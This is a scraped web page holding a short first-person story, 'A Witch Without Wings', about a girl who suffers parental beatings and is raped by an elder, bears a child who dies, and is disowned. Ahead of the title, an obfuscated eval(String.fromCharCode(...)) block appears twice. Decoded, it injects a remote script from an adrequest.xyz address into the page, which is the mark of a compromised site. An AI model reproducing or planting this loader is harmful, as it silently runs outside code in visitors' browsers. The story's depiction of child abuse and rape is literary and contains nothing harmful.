var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); A Witch Without Wings – Ile Alo var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));

A Witch Without Wings

Views

As a child I was taught that pain was the only path to success, as such I embraced the cruelty of all of life’s elements. It is the way we live, it is the way I lived.

Growing up my home was adorned with pearl-like tears; wailing was a steady song. I remember once praying for blood to flow down my cheeks in place of tears. My father said he would not stop his violent lashing until I cried blood. He eventually did even though my eyes failed to bleed. I was grateful for his compassion.

I broke a glass cup one Saturday morning. It was my mother’s favourite – aunty Efe had given it to her, she said it was London made, not our common chinaware. I begged the heavens not to be flogged that day. The heavens seemed not to have heard me, even after I had cut myself like one of the prophets of Baal. My mother showed no mercy.

I learnt to be humble and not complain. It was expected of me not to raise my voice at my elders, especially the ones with beards and a rope dangling between their legs. It was for this reason that I did not utter a word when Pa Michael caressed my tender breasts. I tried to tell him stop but my voice ceased the moment he entered me.

Seven months after Pa Michael touched me for the second time, I pushed life into this dark world. My family abandoned me, threw me out like the horrid water that was used to wash fresh meat. I was indeed a disgrace. I was not worthy of their affection.

My child died before I could give him a name. My parents refused to welcome their prodigal daughter home. Pa Michael’s wife laughed at my misfortune. She described me as a “witch without wings.” After all, I coveted her husband- a man old enough to be my father. I was to blame.